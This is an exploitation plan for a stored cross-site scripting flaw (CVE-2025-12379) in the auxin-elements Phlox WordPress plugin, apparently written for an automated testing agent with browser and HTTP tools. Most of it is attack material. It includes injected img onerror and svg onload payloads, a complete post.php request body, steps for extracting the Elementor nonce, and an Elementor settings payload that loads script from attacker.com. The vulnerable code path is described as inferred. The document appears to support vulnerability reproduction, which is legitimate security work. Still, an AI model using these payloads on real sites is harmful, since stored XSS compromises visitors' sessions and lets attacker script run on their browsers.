Shortcodes and extra features for Phlox theme <= 2.17.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via Modern Heading Widget

This plan outlines the research and proof-of-concept exploitation for CVE-2025-12379, a Stored Cross-Site Scripting (XSS) vulnerability in the "Shortcodes and extra features for Phlox theme" (auxin-elements) plugin.

1. Vulnerability Summary

The "Modern Heading" widget/shortcode in the auxin-elements plugin (up to version 2.17.13) fails to sanitize or validate the tag and title_tag parameters. These parameters are intended to allow users to specify HTML heading tags (e.g., h1, h2, div), but because they are concatenated directly into the HTML output without escaping or whitelisting, a Contributor-level user can inject arbitrary HTML tags and JavaScript event handlers.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (via the classic editor or Gutenberg) or Elementor editor AJAX.
• Vulnerable Action/Shortcode: [aux_modern_heading] (inferred shortcode name) or the Modern Heading Elementor Widget.
• Parameters: tag and title_tag.
• Authentication: Contributor-level access or higher.
• Preconditions: The plugin auxin-elements must be active. The attacker needs permission to edit or create posts.

3. Code Flow (Inferred)

1. Entry Point: A user with Contributor permissions creates/edits a post and includes a "Modern Heading" widget or shortcode.
2. Input Handling: The plugin's rendering logic (likely in includes/elements/modern-heading/render.php or a class named Auxin_Element_Modern_Heading) parses the attributes provided in the shortcode or Elementor metadata.
3. Vulnerable Processing: The values of tag and title_tag are retrieved from the $atts array.
4. The Sink: The code performs string concatenation to build the HTML wrapper:

   // Hypothetical vulnerable code path
   $output .= '<' . $atts['tag'] . ' class="some-class">';
   $output .= '<' . $atts['title_tag'] . ' class="title-class">' . $title . '</' . $atts['title_tag'] . '>';
   $output .= '</' . $atts['tag'] . '>';
   

5. Result: Since $atts['tag'] is not escaped with esc_attr() or validated against a list of allowed tags (like h1, div), any string can be injected.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post with a specific shortcode. The nonces involved are standard WordPress core nonces for post creation/editing.

1. Log in as a Contributor.
2. Navigate to wp-admin/post-new.php.
3. The _wpnonce required for the post.php request is embedded in the form.
4. If exploiting via the Elementor Editor (which Phlox often uses):
   • Create a post and click "Edit with Elementor".
   • The agent should use browser_navigate to enter the Elementor editor.
   • Use browser_eval to extract the Elementor configuration, which contains nonces:
     browser_eval("window.elementorConfig?.nonces?.save_builder")

5. Exploitation Strategy

We will use the shortcode approach as it is the most direct method for a Contributor.

Step 1: Authenticate

• Log in as a Contributor user.

Step 2: Create a Post with Payload

• Create a new post using the http_request tool targeting wp-admin/post.php.
• Payload 1 (Tag Injection):
  [aux_modern_heading title="XSS Test" tag="img src=x onerror=alert('XSS_TAG')"]
• Payload 2 (Title Tag Injection):
  [aux_modern_heading title="XSS Test" title_tag="svg/onload=alert('XSS_TITLE')"]

Request Details:

• URL: http://<wp-host>/wp-admin/post.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=editpost
  post_ID=<POST_ID>
  post_title=Vulnerable Page
  post_content=[aux_modern_heading title="Heading" tag="img src=x onerror=alert(document.domain)"]
  _wpnonce=<NONCE>
  publish=Publish
  

Step 3: Trigger the XSS

• Navigate to the permalink of the newly created post using browser_navigate.
• Observe if the JavaScript alert executes.

6. Test Data Setup

1. Plugin: Install and activate auxin-elements.
2. User: Create a user with the contributor role.
3. Post: Create an initial draft as the contributor to obtain a post_ID and the necessary _wpnonce.

7. Expected Results

• When viewing the post, the HTML source should reveal the injected payload:
  <img src=x onerror=alert(document.domain) class="...">
• The browser should execute the alert or log the execution to the console if alerts are blocked.

8. Verification Steps

1. WP-CLI Check: Verify the post content was saved correctly.
   wp post get <POST_ID> --field=post_content
2. Source Inspection: Use http_request (GET) to the post URL and check for the presence of the unescaped onerror string.
   grep "onerror=alert" response_body

9. Alternative Approaches

If the plugin blocks standard shortcode parsing for these attributes, the attack should be attempted via Elementor Metadata injection:

1. Open Elementor editor for a post.
2. Add a "Modern Heading" widget.
3. Intercept the elementor_ajax request (action: editor_heartbeat or save_builder_data).
4. Modify the settings object for the widget:

   "settings": {
       "tag": "script",
       "title_tag": "script src=https://attacker.com/payload.js"
   }
   

5. Save and view the post. Since Elementor renders these settings on the frontend via the plugin's render() function, the XSS will trigger.